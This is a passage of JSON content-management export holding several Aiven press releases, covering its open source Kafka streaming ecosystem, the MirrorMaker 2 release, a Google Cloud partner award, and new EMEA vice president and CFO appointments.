Kafka."}],"markDefs":[{"_key":"c7d84d8bcdfb","_type":"link","href":"https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance"}],"style":"normal"},{"_key":"7c8f2f7dd507","_type":"block","children":[{"_key":"3a2bb6ee87130","_type":"span","marks":[],"text":"“As a leader in the open source community, Aiven is on a mission to manage software that makes developers' lives easier – and with our complete, open source streaming open source streaming ecosystem of technologies around Aiven for Apache Kafka, we’re able to do just that and more for our users,” said Oskari Saarenmaa, CEO and Co-Founder of Aiven. “I couldn’t be more excited to share this streaming ecosystem with the community and continue fueling innovative, data-intensive open source technologies.”"}],"markDefs":[],"style":"normal"},{"_key":"d95c89ccf55d","_type":"block","children":[{"_key":"88eb6d99e29f0","_type":"span","marks":[],"text":"Here is the complete open source streaming architecture included in Aiven’s open source streaming ecosystem for Apache Kafka: "}],"markDefs":[],"style":"normal"},{"_key":"e2de8d9aa00a","_type":"block","children":[{"_key":"5735f3e692300","_type":"span","marks":["strong"],"text":"Aiven for Apache Kafka:"},{"_key":"5735f3e692301","_type":"span","marks":[],"text":" the core event streaming framework, allowing real-time data transport for any organization. Manage, operate and transport your data streams reliably and in one place, with the ability to also integrate with other Aiven services, cloud regions, and external systems."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"783629ab6e67","_type":"block","children":[{"_key":"8e661137ee240","_type":"span","marks":["strong"],"text":"Aiven for Apache Kafka Connect:"},{"_key":"8e661137ee241","_type":"span","marks":[],"text":" a fully managed, fully open source, distributed service enabling customers to integrate existing data sources and sinks seamlessly with Aiven for Apache Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"176b0d001e2a","_type":"block","children":[{"_key":"d3f23ed485ef0","_type":"span","marks":["strong"],"text":"Aiven for Apache Kafka MirrorMaker2:"},{"_key":"d3f23ed485ef1","_type":"span","marks":[],"text":" a fully managed, fully open source distributed data replication service for cluster to cluster data replication, disaster recovery and geographic proximity across multiple regions and cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d6e9bc8e6a4","_type":"block","children":[{"_key":"2fa9614efa7b0","_type":"span","marks":["strong"],"text":"Aiven for Apache Flink (beta)"},{"_key":"2fa9614efa7b1","_type":"span","marks":[],"text":": a fully managed, fully open source streaming SQL engine for stateful stream processing over data streams"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ce9f64d86c57","_type":"block","children":[{"_key":"066544b22ebf0","_type":"span","marks":["strong"],"text":"Karapace"},{"_key":"066544b22ebf1","_type":"span","marks":[],"text":": a fully open source Kafka Schema Registry that applications can access to serialize and deserialize messages with popular formats such as AVRO, Protobuf and JSON"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e956588c4607","_type":"block","children":[{"_key":"044d374bde250","_type":"span","marks":["strong"],"text":"Klaw:"},{"_key":"044d374bde251","_type":"span","marks":[],"text":" an open source data governance tool that helps enterprises exercise Apache Kafka® topic and schema governance in a self-service manner"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9a9f76d7b16c","_type":"block","children":[{"_key":"5204521c64a20","_type":"span","marks":[],"text":"“We’ve been using a variety of solutions from Aiven for our event streaming needs, such as Aiven for Apache Kafka and Aiven for Apache Kafka Connect. The combination of Kafka from Aiven, its APIs, and the Terraform provider from Aiven, has enabled us to automate almost everything: configuration, deployment, and maintenance.”, said Carlos Olmos, Senior Principal Software Engineer from Everactive, an IoT platform based on self-powered sensor devices and low-power wireless communication. “Aiven’s support and tooling around Kafka has empowered us to embrace Kafka at Everactive and harness the potential of our streaming data.”"}],"markDefs":[],"style":"normal"},{"_key":"3fec02f691b8","_type":"block","children":[{"_key":"6f9dba1178600","_type":"span","marks":[],"text":"Streamlining solutions into one, Aiven’s open source streaming ecosystem for Apache Kafka enables both customers and developers to focus on what really matters – how to drive data outcomes effortlessly."}],"markDefs":[],"style":"normal"},{"_key":"eadedfea0d76","_type":"block","children":[{"_key":"b019fa7fd0e80","_type":"span","marks":[],"text":"To learn more about Aiven’s open source streaming ecosystem for Apache Kafka, please visit "},{"_key":"b019fa7fd0e81","_type":"span","marks":["3b0e17d97ddb"],"text":"https://aiven.io/kafka"},{"_key":"b019fa7fd0e82","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3b0e17d97ddb","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"8ece916b6769","_type":"block","children":[{"_key":"fbcc8ac7074f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"569b8cde8f58","_type":"block","children":[{"_key":"8dae2f5e3d960","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"71b53324ca28","_type":"block","children":[{"_key":"8562b7b078110","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"37afcb718f4a","_type":"block","children":[{"_key":"896a0bff96ce0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"ad08ad1178b1","_type":"block","children":[{"_key":"863653b532bb0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"4d60688bede2","_type":"block","children":[{"_key":"7f9b9781f4f70","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"9ef079c1be1b","_type":"block","children":[{"_key":"f0d35dac585a0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-12-06T21:58:30.679Z","seo":{"_type":"metaData","metaDescription":"Aiven today announced a complete open source streaming ecosystem for Apache Kafka®, delivering a robust– and fully open source real-time data ecosystem.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-46e51ed62248a06e2cb08fe3a962170e1607ba08-1200x399-png","_type":"reference"}},"metaTitle":"Aiven's Open Source Streaming Ecosystem for Apache Kafka"},"slug":{"_type":"slug","current":"/press/aiven-introduces-an-open-source-streaming-ecosystem-for-apache-kafka"},"subtitle":"Aiven’s Apache Kafka portfolio is the first and only fully open source based event streaming framework ","title":"Aiven introduces an open source streaming ecosystem for Apache Kafka"} {"__i18n_lang":"en","_createdAt":"2023-07-14T02:16:52Z","_id":"e4e143d1-cccd-4bb6-b380-c290106ba554","_rev":"5EJi5QFjYLXeOWQUvLcqFi","_type":"pressRelease","_updatedAt":"2023-07-14T02:16:52Z","content":[{"_key":"504f918efc07","_type":"block","children":[{"_key":"362e658e19070","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — July 17, 2023 "},{"_key":"362e658e19071","_type":"span","marks":[],"text":"- "},{"_key":"362e658e19072","_type":"span","marks":["9014b1010bf0"],"text":"Aiven"},{"_key":"362e658e19073","_type":"span","marks":[],"text":", the open source cloud data platform company, announced the appointment of Stuart Simmons as Vice President of EMEA today. With his wealth of experience in building successful teams and driving growth in the technology industry, Stuart brings valuable expertise to further expand Aiven’s presence in the EMEA region. In his new role, Stuart will drive customer growth, own strategic growth initiatives, and focus on building strong partnerships in the EMEA region."}],"markDefs":[{"_key":"9014b1010bf0","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"aee1b36d0bfe","_type":"block","children":[{"_key":"c16926edbf580","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"7337c3055f54","_type":"block","children":[{"_key":"b5074cba573f0","_type":"span","marks":[],"text":"“We are excited to welcome Stuart Simmons to our team. Companies are looking for a trusted partner to build and scale their data infrastructure with, and I am confident that Stuart’s understanding of the specific needs of our customers in the region and commitment to delivering value will help them accomplish exceptional business outcomes,” said David Wyatt, Chief Revenue Officer, Aiven. “We look forward to his leadership and contributions to driving Aiven’s growth in this vital market.”"}],"markDefs":[],"style":"normal"},{"_key":"69355007b1f9","_type":"block","children":[{"_key":"361ca0c00f920","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"43cd34bf8878","_type":"block","children":[{"_key":"97838e99a7870","_type":"span","marks":[],"text":"“Aiven has already established itself as a leader in the cloud data platform space, and I look forward to being a part of the next stage of growth of such a forward-thinking company,” said Stuart Simmons, Vice President of EMEA, Aiven. “I have learnt that building a winning culture, combined with sales excellence underpins everything. I look forward to joining a world-class team to help business leaders and their organizations continue with their innovation efforts and empower them with the best open source data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"91ae5f3972c3","_type":"block","children":[{"_key":"545604baea620","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"23300a78a2f7","_type":"block","children":[{"_key":"23cf2156c8070","_type":"span","marks":[],"text":"Stuart joins Aiven after a distinguished career in the technology industry. He has a successful track record of building companies' presence and driving growth and made significant contributions during his time at Snowflake and MongoDB. His most recent stint at Lacework saw him build the Northern Europe region from the ground up and work closely with the Executive team to standardize the sales go-to-market model on a global basis."}],"markDefs":[],"style":"normal"},{"_key":"546c9264686e","_type":"block","children":[{"_key":"bbaaa7cc4df90","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"56c744445de0","_type":"block","children":[{"_key":"418ad61522010","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"418ad61522011","_type":"span","marks":["5e392f0915eb"],"text":"https://aiven.io"}],"markDefs":[{"_key":"5e392f0915eb","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"305f51075516","_type":"block","children":[{"_key":"92c55a01bf2f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"e64ff5049b5c","_type":"block","children":[{"_key":"1a31da31c3290","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"5928ced8317c","_type":"block","children":[{"_key":"59e0c4824fdb0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"4f99dc0b7322","_type":"block","children":[{"_key":"c0bc9e2b0a410","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"34c7330bd2d3","_type":"block","children":[{"_key":"654d472541ec0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"abeb2c9c5a25","_type":"block","children":[{"_key":"3085a7a77e630","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"1051cfad5608","_type":"block","children":[{"_key":"edbabfd358e20","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"edbabfd358e21","_type":"span","marks":["cde08f86ff29"],"text":"aiven.io"},{"_key":"edbabfd358e22","_type":"span","marks":[],"text":" and follow "},{"_key":"edbabfd358e23","_type":"span","marks":["a1a2e471cf36"],"text":"@aiven_io"},{"_key":"edbabfd358e24","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"cde08f86ff29","_type":"link","href":"https://aiven.io/"},{"_key":"a1a2e471cf36","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"33b01bf1beb0","_type":"block","children":[{"_key":"ae84ebedbac90","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"31d17beb30d9","_type":"block","children":[{"_key":"b6d8ea2e45110","_type":"span","marks":["strong"],"text":"Media Contacts:"},{"_key":"b6d8ea2e45111","_type":"span","marks":["2abb69318e9a"],"text":"press@aiven.io"}],"markDefs":[{"_key":"2abb69318e9a","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"b5a259e8342f","_type":"block","children":[{"_key":"9de96dd3a8c40","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-07-17T07:01:00.000Z","slug":{"_type":"slug","current":"/press/aiven-announces-new-emea-regional-vice-president"},"subtitle":"Former MongoDB and Snowflake leader joins Aiven to scale market impact across the EMEA region and empower business leaders to accelerate innovation with Aiven platform \n","title":"Aiven announces the appointment of new regional vice president for EMEA"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"4O1VToCDbtO9HYlvB0vHAr","_rev":"Gpxvh8f3DECNLdA0uhZkNP","_type":"pressRelease","_updatedAt":"2023-08-04T09:30:30Z","content":[{"_key":"k0naNpWH","_type":"block","children":[{"_key":"241359f5b849","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 24, 2020- "},{"_key":"3oUJybCH","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"lH5HdsGJ","_type":"span","marks":[],"text":", a leading technology company combining the best open source technologies with cloud infrastructure, announced today the release of Apache Kafka MirrorMaker 2 as a stand-alone service, enabling enterprises to access the Apache Kafka ecosystem more easily."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"jTX3SYLj","_type":"block","children":[{"_key":"q965XheW","_type":"span","marks":[],"text":"“Aiven is one of the largest managed Kafka providers, and we’re excited to expand our Kafka portfolio with the addition of managed MirrorMaker 2,” said Hannu Valtonen, Chief Product Officer at Aiven. “Our customers have come to know and rely on our Kafka offering, and we have ambitious goals to continue to innovate and develop new services that enable our customers to easily incorporate Kafka into their architecture.”"}],"markDefs":[],"style":"normal"},{"_key":"3rxeHhHr","_type":"block","children":[{"_key":"AIf3O8nL","_type":"span","marks":[],"text":"With Apache Kafka, Kafka Connect, and now MirrorMaker 2 as a service, Aiven customers can specialize their workloads, reducing dependency while increasing resilience. MirrorMaker 2 helps enterprises ensure data continuity by allowing them to easily replicate data among Kafka clusters. Aiven’s multi-cloud platform further enhances this by allowing the replication of data across cloud providers."}],"markDefs":[],"style":"normal"},{"_key":"9OHtQrSX","_type":"block","children":[{"_key":"3WW4PION","_type":"span","marks":[],"text":"MirrorMaker 2.0 itself comes with a number of improvements, including the ability to maintain offset mappings between clusters, critical for disaster recovery — one of the top use cases for MirrorMaker."}],"markDefs":[],"style":"normal"},{"_key":"rm3Q62vp","_type":"block","children":[{"_key":"MaDhW6dK","_type":"span","marks":[],"text":"Additional MirrorMaker 2.0 improvements include:"}],"markDefs":[],"style":"normal"},{"_key":"sWWzOOAm","_type":"block","children":[{"_key":"JcA80UxS","_type":"span","marks":[],"text":"Topic configuration is synchronized from source to target clusters, removing the need for external tools"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"N86L9Ign","_type":"block","children":[{"_key":"jTbutQ89","_type":"span","marks":[],"text":"Preserved partitions during the replication process"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"TIuOuyXV","_type":"block","children":[{"_key":"dJowZ1QT","_type":"span","marks":[],"text":"The ability to run multiple replication flows for a single MirrorMaker cluster and the prevention of infinite loops"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8xyv79iK","_type":"block","children":[{"_key":"jAR9FGCH","_type":"span","marks":[],"text":"Increased reliability, scalability and performance by leveraging the Kafka Connect framework"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7uM1FsDf","_type":"block","children":[{"_key":"bLkXr7jx","_type":"span","marks":[],"text":"Users can now easily set up replication flows between Kafka clusters through the Aiven Console, the command line client, the Terraform provider or the REST API."}],"markDefs":[],"style":"normal"},{"_key":"QZZtT0ws","_type":"block","children":[{"_key":"vviufqQP","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"rblH2dHE","_type":"block","children":[{"_key":"QFggRttL","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"jIxY6sgo","_type":"block","children":[{"_key":"k3WcKPib","_type":"span","marks":[],"text":"You can visit "},{"_key":"qGG8p7PB","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"CPI2nOjZ","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"yb0LsfYC","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"OfHsajwq","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-06-24T00:00:00.000Z","seo":{"metaDescription":"Aiven’s latest service enables organizations to replicate data among Apache Kafka clusters more easily and ensure data continuity after failures or outages.","metaTitle":"Aiven releases Kafka MirrorMaker 2"},"slug":{"_type":"slug","current":"/press/aiven-releases-kafka-mirrormaker-2"},"subtitle":"Aiven’s latest service enables organizations to replicate data among Apache Kafka clusters more easily and ensure data continuity after failures or outages.","title":"Aiven releases Kafka MirrorMaker 2"} {"__i18n_lang":"en","_createdAt":"2023-08-29T10:27:09Z","_id":"b3f9ffac-e772-4799-8722-28cf21449dae","_rev":"pv5QzE4Lm79BNhDrjkP5IP","_type":"pressRelease","_updatedAt":"2023-08-29T15:00:01Z","content":[{"_key":"2a2f939a8d22","_type":"block","children":[{"_key":"d766ff8c81b40","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 29, 2023"},{"_key":"d766ff8c81b41","_type":"span","marks":[],"text":" — "},{"_key":"d766ff8c81b42","_type":"span","marks":["3b645774ae8a"],"text":"Aiven"},{"_key":"d766ff8c81b43","_type":"span","marks":[],"text":", the trusted open source data platform for everyone, today announced it has received the Google Cloud Breakthrough Partner of the Year award for the Europe, Middle East, and Africa (EMEA) region."}],"markDefs":[{"_key":"3b645774ae8a","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"5a9a02a24958","_type":"block","children":[{"_key":"4dd96c9cf5fe0","_type":"span","marks":[],"text":"Aiven was recognized for the company’s achievements in the Google Cloud ecosystem, helping joint customers such as "},{"_key":"4dd96c9cf5fe1","_type":"span","marks":["2e18843c15fb"],"text":"ADEO"},{"_key":"4dd96c9cf5fe2","_type":"span","marks":[],"text":", "},{"_key":"4dd96c9cf5fe3","_type":"span","marks":["cbde8ad0ec58"],"text":"Conrad Electronic"},{"_key":"4dd96c9cf5fe4","_type":"span","marks":[],"text":", "},{"_key":"4dd96c9cf5fe5","_type":"span","marks":["9b51b408110c"],"text":"OVO Energy"},{"_key":"4dd96c9cf5fe6","_type":"span","marks":[],"text":", and "},{"_key":"4dd96c9cf5fe7","_type":"span","marks":["dd26a15b8742"],"text":"Supermetrics"},{"_key":"4dd96c9cf5fe8","_type":"span","marks":[],"text":" to unleash the power of cloud innovation. Together, we create a seamless, trusted platform that empowers businesses to scale their data infrastructure efficiently, optimize performance and cost, and unlock new possibilities for their businesses."}],"markDefs":[{"_key":"2e18843c15fb","_type":"link","href":"https://aiven.io/case-studies/aiven-cloud-helps-adeo"},{"_key":"cbde8ad0ec58","_type":"link","href":"https://aiven.io/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven"},{"_key":"9b51b408110c","_type":"link","href":"https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo"},{"_key":"dd26a15b8742","_type":"link","href":"https://aiven.io/blog/multicloud-drifting-with-dups-and-supermetrics"}],"style":"normal"},{"_key":"94b0ba20b7cb","_type":"block","children":[{"_key":"9c3bbf9c4f160","_type":"span","marks":[],"text":"Securing this esteemed award underscores Aiven’s relentless commitment to excellence, technical expertise, and customer-centric approach, and serves as a validation of Aiven’s expertise in helping customers to simplify and exploit the power of open source technologies on Google Cloud. Aiven’s cloud data platform has transformed the way organizations manage and scale their data infrastructure. By combining open source technologies and powerful automation, Aiven empowers businesses to focus on what is important for their customers while benefiting from a highly reliable, scalable, and secure cloud infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"203c1c4846de","_type":"block","children":[{"_key":"03f10a3eb1ab0","_type":"span","marks":[],"text":"\"We are excited to be named the Google Cloud Partner in the Breakthrough Award category for the EMEA region,\" said Oskari Saarenmaa, Chief Executive Officer and Co-founder, Aiven. \"This award recognizes the hard work and dedication of our team, as well as our relentless pursuit of delivering exceptional value to our customers. With Aiven’s expertise in deploying, operating, and scaling open source data technologies and Google Cloud’s robust infrastructure and cutting-edge services, businesses gain a winning blend of innovation and reliability. We are proud of our collaboration with Google Cloud and look forward to driving further innovation and success together.”"}],"markDefs":[],"style":"normal"},{"_key":"8c9ed70d4a54","_type":"block","children":[{"_key":"69297149885e0","_type":"span","marks":[],"text":"“Google Cloud’s partner awards recognize the significant impact and customer success that our partners have driven over the past year,\" said Kevin Ichhpurani, Corporate Vice President, Global Ecosystem and Channels at Google Cloud. \"We're delighted to recognize Aiven as a 2023 Google Cloud Partner Award winner, and look forward to a continued strong partnership in support of our mutual customers.\""}],"markDefs":[],"style":"normal"},{"_key":"ce62340fe06c","_type":"block","children":[{"_key":"f58abc64b02d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2d394eb87a89","_type":"block","children":[{"_key":"4b20284623a00","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"e06bd02fc8e5","_type":"block","children":[{"_key":"8d84367d5f5c0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"f6e21805f69e","_type":"block","children":[{"_key":"b4968f49ef010","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"b4968f49ef011","_type":"span","marks":["2c1ca6e6ca06"],"text":"aiven.io"},{"_key":"b4968f49ef012","_type":"span","marks":[],"text":" and follow "},{"_key":"b4968f49ef013","_type":"span","marks":["832a9ac2e8b6"],"text":"@aiven_io"},{"_key":"b4968f49ef014","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"2c1ca6e6ca06","_type":"link","href":"https://aiven.io/"},{"_key":"832a9ac2e8b6","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"b04e341793dc","_type":"block","children":[{"_key":"8692c36462dc0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"cf37c847893a","_type":"block","children":[{"_key":"719280746f2a0","_type":"span","marks":["bdcb3e78e820"],"text":"press@aiven.io"}],"markDefs":[{"_key":"bdcb3e78e820","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"}],"publishedAt":"2023-08-29T15:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven was recognized for helping customers to scale their data infrastructure efficiently, optimize performance and cost, and unlock new business.","metaImage":{"_type":"mainImage","alt":"Aiven named a Google Cloud Breakthrough Partner of the Year","asset":{"_ref":"image-0d52e99e38c61728bc276036b5e91010bce5a762-1526x856-png","_type":"reference"}},"metaTitle":"Aiven named a Google Cloud Breakthrough Partner of the Year"},"slug":{"_type":"slug","current":"/press/google-cloud-breakthrough-partner-of-the-year"},"title":"Aiven named a Google Cloud Breakthrough Partner of the Year"} {"__i18n_lang":"en","_createdAt":"2023-10-02T06:22:21Z","_id":"55ff81e6-e72c-4e60-933e-7ca9191b2ec7","_rev":"rpwBSMa1i11HwZnbWujNhz","_type":"pressRelease","_updatedAt":"2023-10-02T08:19:29Z","content":[{"_key":"03859c351e8b","_type":"block","children":[{"_key":"3152cecf0fc50","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 2, 2023"},{"_key":"3152cecf0fc51","_type":"span","marks":[],"text":" "},{"_key":"3152cecf0fc52","_type":"span","marks":["5464229578f1"],"text":"Aiven"},{"_key":"3152cecf0fc53","_type":"span","marks":[],"text":", the open source cloud data platform company, has appointed Kenneth Chen as Chief Financial Officer (CFO). Kenneth, a former leader at Spotify, joins Aiven's Executive team, reporting directly to Aiven's CEO, Oskari Saarenmaa. Kenneth brings over two decades of finance experience and he will play a pivotal part in identifying and capturing growth opportunities that enable Aiven to operate at scale."}],"markDefs":[{"_key":"5464229578f1","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"d5de73064051","_type":"block","children":[{"_key":"c928953769ae","_type":"span","marks":[],"text":"Kenneth joins Aiven from Spotify where he led the Finance Strategy, Operations \u0026 Risk team as Vice President. In the past eight years he held various finance leadership roles at Spotify and was on the core team that took the company public and transitioned it from pre-public to post-public life, marking a significant milestone in the company’s journey. Prior to that, he spent 12 years at PricewaterhouseCoopers where he led finance, IT, and governance engagements. Kenneth holds a B.S. from the Haas School of Business at UC Berkeley."}],"markDefs":[],"style":"normal"},{"_key":"2f3bdf8c6e44","_type":"block","children":[{"_key":"feeab2f60cd6","_type":"span","marks":[],"text":"“We are thrilled to welcome Kenneth to Aiven. Kenneth will provide strong financial leadership to enable Aiven’s continued growth. His team is instrumental in providing actionable insights to the business and enabling us to grow and mature as an organization”, says Oskari Saarenmaa, Aiven’s CEO."}],"markDefs":[],"style":"normal"},{"_key":"e00775931519","_type":"block","children":[{"_key":"f545bf27e662","_type":"span","marks":[],"text":"“Aiven has made it easy for developers and enterprises to get the most out of their data infrastructure investments, allowing them to scale even faster. Oskari and the rest of the team have developed an amazing product and a well-defined strategy to bring this platform to even more customers. I’m very excited to join the team and help Aiven on this next phase of growth”, says Kenneth, Aiven’s new CFO."}],"markDefs":[{"_key":"d595c43e1644","_type":"link","href":"https://aiven.io/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"},{"_key":"2413ba1d5e76","_type":"link","href":"https://aiven.io/press/aiven-bolsters-c-suite-bench-with-appointment-of-cmo"}],"style":"normal"},{"_key":"4487e00b9cc7","_type":"block","children":[{"_key":"c60f6d90b9c3","_type":"span","marks":[],"text":"The announcement follows Aiven’s recent appointments of "},{"_key":"f38eea8538b61","_type":"span","marks":["d595c43e1644"],"text":"David Wyatt"},{"_key":"f38eea8538b62","_type":"span","marks":[],"text":" as Chief Revenue Officer in March and "},{"_key":"f38eea8538b63","_type":"span","marks":["2413ba1d5e76"],"text":"Ian Massingham"},{"_key":"f38eea8538b64","_type":"span","marks":[],"text":" as Chief Marketing Officer in June. These additions further bolster Aiven's capability to meet the growing demand for its open source cloud data platform."}],"markDefs":[{"_key":"d595c43e1644","_type":"link","href":"https://aiven.io/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"},{"_key":"2413ba1d5e76","_type":"link","href":"https://aiven.io/press/aiven-bolsters-c-suite-bench-with-appointment-of-cmo"},{"_key":"f1e778484557","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"a5e207a5d100","_type":"block","children":[{"_key":"76b32de38344","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"8b29c075e3581","_type":"span","marks":["f1e778484557"],"text":"https://aiven.io"}],"markDefs":[{"_key":"f1e778484557","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"54bf296a359d","_type":"block","children":[{"_key":"33e47b7c6c7a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ef8a699163c3","_type":"block","children":[{"_key":"076ddbffc984","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"b07a79e54698","_type":"block","children":[{"_key":"494328cda6000","_type":"span","marks":[],"text":"Aiven is the trusted open source data platform for everyone. Aiven enables anyone to create, use and manage data applications with confidence. With Aiven, customers can drive business results from open source data technologies that trigger true transformations on a global scale. Valued at $3 billion, Aiven is backed by Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. The company is headquartered in Helsinki with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto."}],"markDefs":[{"_key":"2ebbccbff7f0","_type":"link","href":"https://aiven.io/"},{"_key":"5f9299bba1d5","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"4d3cabd2c6a9","_type":"block","children":[{"_key":"ec303d42b48d","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"336de8e8dd931","_type":"span","marks":["2ebbccbff7f0"],"text":"aiven.io"},{"_key":"336de8e8dd932","_type":"span","marks":[],"text":" and follow"},{"_key":"336de8e8dd933","_type":"span","marks":["5f9299bba1d5"],"text":" @aiven_io"},{"_key":"336de8e8dd934","_type":"span","marks":[],"text":" on 